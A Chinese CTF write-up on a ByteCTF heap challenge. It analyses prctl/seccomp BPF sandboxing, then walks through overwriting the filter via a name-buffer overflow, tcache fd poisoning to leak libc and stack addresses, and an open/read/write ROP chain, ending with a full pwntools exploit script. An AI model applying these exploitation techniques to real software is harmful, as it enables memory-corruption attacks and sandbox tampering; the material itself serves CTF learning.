一道 CTF 题目看 prctl 函数的沙箱过滤规则

CTF

前言

bytectf 的一道堆题，涉及到 prctl 函数，之前没有接触过，借这个机会学习一下。

checksec

环境：glibc 2.27

功能分析

照旧将程序加载进入 IDA，分析程序的逻辑。

add 函数

这个函数比较简单，直接返回一个 malloc(0x50) 大小的堆块指针。

void __fastcall add(unsigned int a1)
{
  if ( a1 <= 0xF )
  {
    note_list[a1] = malloc(0x50uLL);
    puts("Done!\n");
  }
}

delete 函数

del 函数也是一样简单，直接 free 掉堆块后置空指针，不存在 UAF 漏洞。

int __fastcall del(unsigned int a1)
{
  int result; // eax
  if ( a1 <= 0xF )
  {
    free(note_list[a1]);
    note_list[a1] = 0LL;
    result = puts("Done!\n");
  }
  return result;
}

edit 函数

在 edit 函数中，size 的值可控，所以这里存在一个溢出。但是这个溢出是有条件的。

unsigned __int64 __fastcall edit(unsigned int a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  if ( a1 <= 0xF && note_list[a1] )
  {
    printf("Size: ");
    __isoc99_scanf("%u", &v2);
    printf("Content: ", &v2);
    get_input(note_list[a1], v2);               // overflow
    puts("Done!\n");
  }
  return __readfsqword(0x28u) ^ v3;
}

跟进 get_input 函数，这里需要 0x4040E0 这个地址需要有值，但是这个地方默认是 0。除非找到一处任意地址写或者溢出，否则这个堆块就会根据输入的 size 值的大小，填充一大堆的任意值。

ssize_t __fastcall get_input(void *a1, int a2)
{
  int fd; // [rsp+1Ch] [rbp-4h]
  if ( dword_4040E0 )
    return read(0, a1, a2);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
    exit(0);
  return read(fd, a1, a2);
}

• 注意到这里，在 fd 指针返回 -1 的时候，才会退出，如果我们这里让他返回 0 呢？那他下面就会执行 read(0, a1, a2)，这样我们也可以达到可控的目的。

become_vip 函数

这个函数定义了一大堆的变量，一开始没看懂这个是干啥的，后来发现是用来定义结构体变量的。

unsigned __int64 vip()
{
  __int16 v1; // [rsp+0h] [rbp-90h]
  char *v2; // [rsp+8h] [rbp-88h]
  char buf; // [rsp+10h] [rbp-80h]
  char v4; // [rsp+30h] [rbp-60h]
  char v5; // [rsp+31h] [rbp-5Fh]
  char v6; // [rsp+32h] [rbp-5Eh]
  char v7; // [rsp+33h] [rbp-5Dh]
  char v8; // [rsp+34h] [rbp-5Ch]
  char v9; // [rsp+35h] [rbp-5Bh]
  char v10; // [rsp+36h] [rbp-5Ah]
  char v11; // [rsp+37h] [rbp-59h]
  char v12; // [rsp+38h] [rbp-58h]
  char v13; // [rsp+39h] [rbp-57h]
  char v14; // [rsp+3Ah] [rbp-56h]
  char v15; // [rsp+3Bh] [rbp-55h]
  char v16; // [rsp+3Ch] [rbp-54h]
  char v17; // [rsp+3Dh] [rbp-53h]
  char v18; // [rsp+3Eh] [rbp-52h]
  char v19; // [rsp+3Fh] [rbp-51h]
  char v20; // [rsp+40h] [rbp-50h]
  char v21; // [rsp+41h] [rbp-4Fh]
  char v22; // [rsp+42h] [rbp-4Eh]
  char v23; // [rsp+43h] [rbp-4Dh]
  char v24; // [rsp+44h] [rbp-4Ch]
  char v25; // [rsp+45h] [rbp-4Bh]
  char v26; // [rsp+46h] [rbp-4Ah]
  char v27; // [rsp+47h] [rbp-49h]
  char v28; // [rsp+48h] [rbp-48h]
  char v29; // [rsp+49h] [rbp-47h]
  char v30; // [rsp+4Ah] [rbp-46h]
  char v31; // [rsp+4Bh] [rbp-45h]
  char v32; // [rsp+4Ch] [rbp-44h]
  char v33; // [rsp+4Dh] [rbp-43h]
  char v34; // [rsp+4Eh] [rbp-42h]
  char v35; // [rsp+4Fh] [rbp-41h]
  char v36; // [rsp+50h] [rbp-40h]
  char v37; // [rsp+51h] [rbp-3Fh]
  char v38; // [rsp+52h] [rbp-3Eh]
  char v39; // [rsp+53h] [rbp-3Dh]
  char v40; // [rsp+54h] [rbp-3Ch]
  char v41; // [rsp+55h] [rbp-3Bh]
  char v42; // [rsp+56h] [rbp-3Ah]
  char v43; // [rsp+57h] [rbp-39h]
  char v44; // [rsp+58h] [rbp-38h]
  char v45; // [rsp+59h] [rbp-37h]
  char v46; // [rsp+5Ah] [rbp-36h]
  char v47; // [rsp+5Bh] [rbp-35h]
  char v48; // [rsp+5Ch] [rbp-34h]
  char v49; // [rsp+5Dh] [rbp-33h]
  char v50; // [rsp+5Eh] [rbp-32h]
  char v51; // [rsp+5Fh] [rbp-31h]
  char v52; // [rsp+60h] [rbp-30h]
  char v53; // [rsp+61h] [rbp-2Fh]
  char v54; // [rsp+62h] [rbp-2Eh]
  char v55; // [rsp+63h] [rbp-2Dh]
  char v56; // [rsp+64h] [rbp-2Ch]
  char v57; // [rsp+65h] [rbp-2Bh]
  char v58; // [rsp+66h] [rbp-2Ah]
  char v59; // [rsp+67h] [rbp-29h]
  char v60; // [rsp+68h] [rbp-28h]
  char v61; // [rsp+69h] [rbp-27h]
  char v62; // [rsp+6Ah] [rbp-26h]
  char v63; // [rsp+6Bh] [rbp-25h]
  char v64; // [rsp+6Ch] [rbp-24h]
  char v65; // [rsp+6Dh] [rbp-23h]
  char v66; // [rsp+6Eh] [rbp-22h]
  char v67; // [rsp+6Fh] [rbp-21h]
  char v68; // [rsp+70h] [rbp-20h]
  char v69; // [rsp+71h] [rbp-1Fh]
  char v70; // [rsp+72h] [rbp-1Eh]
  char v71; // [rsp+73h] [rbp-1Dh]
  char v72; // [rsp+74h] [rbp-1Ch]
  char v73; // [rsp+75h] [rbp-1Bh]
  char v74; // [rsp+76h] [rbp-1Ah]
  char v75; // [rsp+77h] [rbp-19h]
  char v76; // [rsp+78h] [rbp-18h]
  char v77; // [rsp+79h] [rbp-17h]
  char v78; // [rsp+7Ah] [rbp-16h]
  char v79; // [rsp+7Bh] [rbp-15h]
  char v80; // [rsp+7Ch] [rbp-14h]
  char v81; // [rsp+7Dh] [rbp-13h]
  char v82; // [rsp+7Eh] [rbp-12h]
  char v83; // [rsp+7Fh] [rbp-11h]
  char v84; // [rsp+80h] [rbp-10h]
  char v85; // [rsp+81h] [rbp-Fh]
  char v86; // [rsp+82h] [rbp-Eh]
  char v87; // [rsp+83h] [rbp-Dh]
  char v88; // [rsp+84h] [rbp-Ch]
  char v89; // [rsp+85h] [rbp-Bh]
  char v90; // [rsp+86h] [rbp-Ah]
  char v91; // [rsp+87h] [rbp-9h]
  unsigned __int64 v92; // [rsp+88h] [rbp-8h]
  v92 = __readfsqword(0x28u);
  puts("OK, but before you become vip, please tell us your name: ");
  v4 = 32;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 4;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 21;
  v13 = 0;
  v14 = 0;
  v15 = 8;
  v16 = 62;
  v17 = 0;
  v18 = 0;
  v19 = -64;
  v20 = 32;
  v21 = 0;
  v22 = 0;
  v23 = 0;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 0;
  v28 = 53;
  v29 = 0;
  v30 = 6;
  v31 = 0;
  v32 = 0;
  v33 = 0;
  v34 = 0;
  v35 = 64;
  v36 = 21;
  v37 = 0;
  v38 = 4;
  v39 = 0;
  v40 = 1;
  v41 = 0;
  v42 = 0;
  v43 = 0;
  v44 = 21;
  v45 = 0;
  v46 = 3;
  v47 = 0;
  v48 = 0;
  v49 = 0;
  v50 = 0;
  v51 = 0;
  v52 = 21;
  v53 = 0;
  v54 = 2;
  v55 = 0;
  v56 = 2;
  v57 = 0;
  v58 = 0;
  v59 = 0;
  v60 = 21;
  v61 = 0;
  v62 = 1;
  v63 = 0;
  v64 = 60;
  v65 = 0;
  v66 = 0;
  v67 = 0;
  v68 = 6;
  v69 = 0;
  v70 = 0;
  v71 = 0;
  v72 = 5;
  v73 = 0;
  v74 = 5;
  v75 = 0;
  v76 = 6;
  v77 = 0;
  v78 = 0;
  v79 = 0;
  v80 = 0;
  v81 = 0;
  v82 = -1;
  v83 = 127;
  v84 = 6;
  v85 = 0;
  v86 = 0;
  v87 = 0;
  v88 = 0;
  v89 = 0;
  v90 = 0;
  v91 = 0;
  read(0, &buf, 0x50uLL);
  printf("Hello, %s\n", &buf);
  v1 = 11;
  v2 = &v4;
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4) < 0 )
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(2);
  }
  if ( prctl(22, 2LL, &v1) < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
  }
  return __readfsqword(0x28u) ^ v92;
}

函数分析

开始先是使用 read 函数读取了 0x50 字节大小的数据到栈上：read(0, &buf, 0x50uLL);，仔细看这里其实是溢出了，可以覆盖到下面的一些变量：

char buf; // [rsp+10h] [rbp-80h]    // buf 大小为 32 字节
char v4; // [rsp+30h] [rbp-60h]
char v5; // [rsp+31h] [rbp-5Fh]
...

接着调用了 prctl 函数，没了解过这个函数，因此本文的重点就是着重来分析一下这个函数的用法。

v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4）{
    ...
}
...
if ( prctl(22, 2LL, &v1) < 0 ){
    ...
}

prctl 函数

先查看一下 man 手册关于 prctl 函数的介绍：

operations on a process
prctl() is called with a first argument describing what to do (with values defined in ), and further arguments with a significance depending on the first one. The first argument can be:

函数原型：

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

第一个参数是指定相应的操作，在手册上有特别多的选项，这里我们需要重点关注两个：

1. PR_SET_NO_NEW_PRIVS
2. PR_SET_SECCOMP

继续看手册上的介绍，对于第一个参数选项：

Set the calling thread’s no_new_privs attribute to the value in arg2.  With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything that could not have been done without the execve(2) call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional).  
Once set, this the no_new_privs attribute cannot be unset.  The setting of this attribute is inherited by children created by fork(2) and clone(2), and preserved across execve(2).

简单的说就是如果 option 设置为 PR_SET_NO_NEW_PRIVS 的话，第二个参数如果设置为 1 的话，不能够进行 execve 的系统调用，同时这个选项还会继承给子进程。

• 这样的话常规的调用 system 函数、one_gadget 的用不了了，这里的设置点其实和 pwnable.tw 上 orw 那道题一样，只能进行几个系统调用：open、write、read。

这里也就是调用下面的语句进行设置：

prctl(PR_SET_NO_NEW_PRIVS, 1LL, 0LL, 0LL, 0LL); 

在 xx 中找到 PR_SET_NO_NEW_PRIVS 常量对应的数值，正好是 38

接着看第二个options PR_SET_SECCOMP：

Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.

设置 seccomp ，其实也就是设置沙箱规则，这个 option 有两个子参数：

SECCOMP_MODE_STRICT：
    the only system calls that the thread is permitted to make are read(2), write(2),_exit(2) (but not exit_group(2)), and sigreturn(2). 
SECCOMP_MODE_FILTER (since Linux 3.5)：
    the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3.  This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments.  

这里如果设置了 SECCOMP_MODE_STRICT 模式的话，系统调用只能使用 read, write,_exit 这三个。

如果设置了 SECCOMP_MODE_FILTER 的话，系统调用规则就可以被 Berkeley Packet Filter（BPF） 规则所定义，这玩意就是这里最最重点的东西了。

BPF 规则介绍

来看看百度百科上的解释：

看解释可以知道这是一种网络数据包传输过滤的一种规则，那个怎么会用在 C 语言的 prctl 函数中呢？大佬的解释是这样的：

那这样的话就需要了解 BPF 的沙箱解释规则了，这篇文章写的还不错

总结起来就下面的一些点：

1. 结构赋值操作指令为：BPF_STMT、BPF_JUMP

对于这题，构造的沙箱规则为：

struct sock_filter filter[] = {
    BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),          // 从第0个字节开始，传送8个字节
    BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0),       // 比较是否为257，是就跳到第5行
    BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),         // 比较是否大于 0，是就跳到第6行
    BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
    BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
};

相应的转换为 16 进制格式为：

\\\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x01\\x00\\x01\\x01\\x00\\x005\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\xff\\x7f'

解题步骤

根据上面的分析，我们在 become_vip 函数中设置 prctl 函数的沙箱规则，使得 open 函数返回值为 0 之后，我们就可以控制溢出的数据。

构造两个堆块，将后一个堆块 free 之后，从第一个堆块溢出到第二个的 fd 指针（注意是 2.27 的环境），就能够达到任意地址读写的目的。我们无法调用 system 函数，但是可以使用 ROP 来进行系统调用，这里我们就用任意地址写，将 payload 直接写到返回地址上。

构造沙箱规则

filter1 总共 40 个字节，可能也是出题人精心设计的。

filter1 = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x01\\x00\\x01\\x01\\x00\\x005\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\xff\\x7f''
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)

泄露 libc、栈地址

这个不多说，控制 fd 指针、使用 show 功能泄露地址。

delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)

经过调试可以发现 environ 变量的地址减去 0xf8 的地方就是 main 函数 rbp 的地址。

构造 ROP 链

调用的顺序为：

fd = open('flag',0) --> read(fd,buf,0x100) --> write(1,buf,0x100) --> exit()

ROP 地址使用 ROPgadget 就可以找到，这里注意的是在使用 syscall 的时候，调用号是存放在 eax 寄存器中，别的参数就和 64 位下的寄存器传参顺序一致。在 amd64 中，系统调用号可以在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 中找到。

layout = [
    "flag\x00\x00\x00\x00", # ret
    0x0000000000401016, # ret
    0x0000000000401016, # ret
    0x0000000000401016, # ret
    0x00000000004018fb, # : pop rdi ; ret
    stack_addr - 0xf8,
    0x00000000004018f9, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x00000000000439c8, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000000d2975, # : syscall ; ret
    0x00000000004018fb, # : pop rdi ; ret
    3,
    0x00000000004018f9, # : pop rsi ; pop r15 ; ret
    0x404800,
    0,
    libc_addr + 0x0000000000001b96, # : pop rdx ; ret
    0x100,
    elf.plt['read'],
    0x00000000004018fb, # pop rdi
    1,
    0x00000000004018f9, # pop rsi
    0x404800,
    0,
    libc_addr + 0x0000000000001b96, # pop rdx
    0x50,
    libc_addr + 0x00000000000439c8, # pop eax
    1,
    libc_addr + 0x00000000000d2975, #syscall
    elf.plt['exit']
]

• 这里的 read、write 可以直接使用调用库函数 read_plt、puts_plt 来替代。

send payload

在 main 函数退出时就会触发 exp，经过 ROP 之后就会输出 flag。

edit(2,0x100,flat(layout).ljust(0x100,"\x00"))
sh.sendlineafter('choice: ', '5')

Exploit

附上 Ex 师傅的 exp，这里改动了一点点：

# 考点：绕过 prctl 沙箱规则，栈上 ROP 的 syscall 调用
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)
context.arch = 'amd64'
execve_file = './vip'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = process('./vip')
print pidof(sh)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
try:
    gdbscript = '''
    b *0x401898
    '''
    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)
def alloc(index):
    sh.sendlineafter('choice: ', '1')
    sh.sendlineafter('Index: ', str(index))
def edit(index, size, content):
    sh.sendlineafter('choice: ', '4')
    sh.sendlineafter('Index: ', str(index))
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Content: ', content)
def delete(index):
    sh.sendlineafter('choice: ', '3')
    sh.sendlineafter('Index: ', str(index))
def show(index):
    sh.sendlineafter('choice: ', '2')
    sh.sendlineafter('Index: ', str(index))
filter1 = ' \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)
for i in range(5):
    alloc(i)
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
stack_addr = u64(result.ljust(8, '\0'))
success("stack_addr: " + hex(stack_addr))
delete(4)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
alloc(1)
alloc(2)
layout = [
    "flag\x00\x00\x00\x00", # ret
    0x0000000000401016, # ret
    0x0000000000401016, # ret
    0x0000000000401016, # ret
    0x00000000004018fb, # : pop rdi ; ret
    stack_addr - 0xf8,
    0x00000000004018f9, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x00000000000439c8, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000000d2975, # : syscall ; ret
    0x00000000004018fb, # : pop rdi ; ret
    3,
    0x00000000004018f9, # : pop rsi ; pop r15 ; ret
    0x404800,
    0,
    libc_addr + 0x0000000000001b96, # : pop rdx ; ret
    0x100,
    elf.plt['read'],
    #0x00000000004018fb,    # pop rdi ; ret
    #0x404800,
    #elf.plt['puts'],
    0x00000000004018fb, # pop rdi
    1,
    0x00000000004018f9, # pop rsi
    0x404800,
    0,
    libc_addr + 0x0000000000001b96, # pop rdx
    0x50,
    libc_addr + 0x00000000000439c8, # pop eax
    1,
    libc_addr + 0x00000000000d2975, #syscall
    elf.plt['exit']
]
edit(2,0x100,flat(layout).ljust(0x100,"\x00"))
sh.sendlineafter('choice: ', '5')
sh.interactive()